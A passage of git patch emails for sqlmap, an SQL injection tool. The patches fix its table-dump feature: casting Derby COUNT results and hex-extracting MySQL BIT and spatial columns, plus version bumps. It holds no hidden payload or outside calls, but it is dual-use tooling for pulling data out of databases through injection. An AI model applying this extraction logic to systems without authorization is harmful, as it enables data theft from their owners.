=?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 14:03:19 +0200 Subject: [PATCH 10/12] Fixing --dump for Derby --- lib/core/agent.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index a30d33c5bdb..bb313dcc491 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -530,6 +530,9 @@ def nullAndCastField(self, field): elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"): # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field + elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field): + # Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate + nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field) elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): nulledCastedField = rootQuery.cast.query % field diff --git a/lib/core/settings.py b/lib/core/settings.py index 47f9df7bc16..0ce68edbed8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.207" +VERSION = "1.10.7.208" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fbc3704bf20b90a3cdb1dfa8c5dfe411582c85a6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 14:25:54 +0200 Subject: [PATCH 11/12] Fixing multi-byte corruption --- lib/core/settings.py | 2 +- plugins/generic/entries.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0ce68edbed8..da7f71c4584 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.208" +VERSION = "1.10.7.209" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index ac34a5ab1fb..8febca2e435 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -178,7 +178,8 @@ def dumpTable(self, foundData=None): # type is already known from the enumeration above, so this costs no extra request. # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text # cast, and its hex path needs text input, so auto-hexing would double-encode.) - autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column]))] + # MySQL BIT stores raw bits that the NCHAR text-cast NULLs (unlike MSSQL/PostgreSQL 'bit', which render as 0/1 or a bit-string), so hex it too + autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and (re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column])) or (Backend.isDbms(DBMS.MYSQL) and re.search(r"(?i)\Abit\b", getUnicode(columns[column]))))] conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)] if autoBinary: debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary) From f43dba3d3487b46074157698530ba85f80905c05 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 27 Jul 2026 14:43:42 +0200 Subject: [PATCH 12/12] Fixing retrieval of exotic coltypes on MySQL --- lib/core/settings.py | 6 +++++- plugins/generic/entries.py | 5 +++-- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index da7f71c4584..e16bd71ce56 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.209" +VERSION = "1.10.7.210" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -934,6 +934,10 @@ # column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX) BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW") +# MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they +# must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global) +MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b" + # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 8febca2e435..0c8a2f289f8 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -41,6 +41,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import BINARY_FIELDS_TYPE_REGEX +from lib.core.settings import MYSQL_BINARY_CAST_TYPE_REGEX from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import KEYSET_MIN_ROWS @@ -178,8 +179,8 @@ def dumpTable(self, foundData=None): # type is already known from the enumeration above, so this costs no extra request. # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text # cast, and its hex path needs text input, so auto-hexing would double-encode.) - # MySQL BIT stores raw bits that the NCHAR text-cast NULLs (unlike MSSQL/PostgreSQL 'bit', which render as 0/1 or a bit-string), so hex it too - autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and (re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column])) or (Backend.isDbms(DBMS.MYSQL) and re.search(r"(?i)\Abit\b", getUnicode(columns[column]))))] + # MySQL BIT/spatial store raw bytes the NCHAR text-cast NULLs (unlike MSSQL/PostgreSQL 'bit', which render fine), so hex them too + autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and (re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column])) or (Backend.isDbms(DBMS.MYSQL) and re.search(MYSQL_BINARY_CAST_TYPE_REGEX, getUnicode(columns[column]))))] conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)] if autoBinary: debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary)